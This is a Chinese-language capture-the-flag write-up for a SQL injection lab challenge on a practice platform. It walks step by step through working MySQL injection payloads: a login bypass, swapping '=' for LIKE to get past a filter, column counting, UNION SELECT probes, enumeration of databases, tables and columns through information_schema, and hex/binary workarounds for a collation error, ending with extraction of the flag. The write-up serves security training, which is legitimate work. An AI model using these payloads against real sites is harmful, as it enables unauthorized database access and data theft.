安鸞滲透實戰平臺|SQL數字型GET注入02
一、滲透靶場地址
http://whalwl.work:8034/
二、滲透實戰
1.開始以為滲透后臺,避免采坑
admin' or 1=1 #
123

直接就進入后臺啦

2.實戰開始,在搜索中輸入1',報錯
1'


3.當我們在后面加個#時,正常回顯
1'#

4.判斷or,and,空格或等號是否被過濾
1' or 1=1#

1' and 1=1#

根據報錯資訊,發現過濾了等號,使用like繞過
1' or 1 like 1#

1' and 1 like 1#

6.發現or,and,空格沒有被繞過,接下來判斷列
1' order by 1,2,3,4#

7.經過大量的測驗,發現14列,遇到列比較多的情況時,使用二分法,比較快,(二分法:猜測有50列,使用25進行測)
1' order by 14,15#

8.接下來,判斷顯位點
-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14#

9.通過回顯可以判斷出,顯位點是3,9這個兩個位置
-1' union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14#
可以看到版本號的值

10.爆破資料庫
-1' union select 1,2,3,4,5,6, 7,8,group_concat(schema_name) from information_schema.schemata,10,11,12,13,14#
報錯,覺得長度被截斷,不能執行SQL注入

前面不是有兩個注入點,那我們就將這條注入陳述句進行拆分
-1' union select 1,2,group_concat(schema_name),4,5,6, 7,8,from information_schema.schemata,10,11,12,13,14#
依然報錯

上面的方法測驗啦,也不行,就嘗試注入點3和末尾拼接陳述句
-1' union select 1,2,group_concat(schema_name),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.schemata#

遇到了新的報錯Illegal mix of collations for operation 'UNION',它的意思是指操作聯合的非法排序規則

解決辦法一:
使用十六進制的方式讀取
-1' union select 1,2,group_concat(hex(schema_name)),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.schemata#

然后利用十六進制轉字串,就可以得到資料庫
解密網站:http://tool.haooyou.com/code?group=convert&type=hexToStr&charset=UTF-8

解決辦法二:
使用binary方式解決字符集的問題
-1' union select 1,2,binary(group_concat(schema_name)),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.schemata#

使用binary的方式,直接的到資料庫的名稱,成功爆破資料庫
information_schema,cms,mysql,performance_schema
11.爆表
-1' union select 1,2,binary(group_concat(table_name)),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.tables where table_schema like 'cms'#

可以看到有個表名為this_is_flag
12.爆欄位名
-1' union select 1,2,binary(group_concat(column_name)),4,5,6, 7,8,9,10,11,12,13,14 from information_schema.columns where table_schema like 'cms' and table_name like 'this_is_flag'#

得到兩個欄位名id,flag
13.爆破欄位的內容
-1' union select 1,2,binary(group_concat(flag)),4,5,6, 7,8,9,10,11,12,13,14 from this_is_flag#

成功得到flag
三、知識點總結
1.本道題目比較新穎,在使用SQL注入的程序中,第一次遇到片接的情況,并且執行sql陳述句使用的是注入位置是注入點 + 欄位后的內容
2.binary函式解決字符集的問題
四、參考鏈接
https://blog.csdn.net/aa18390583207/article/details/103378175
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/374583.html
標籤:其他
上一篇:網安-新手入門
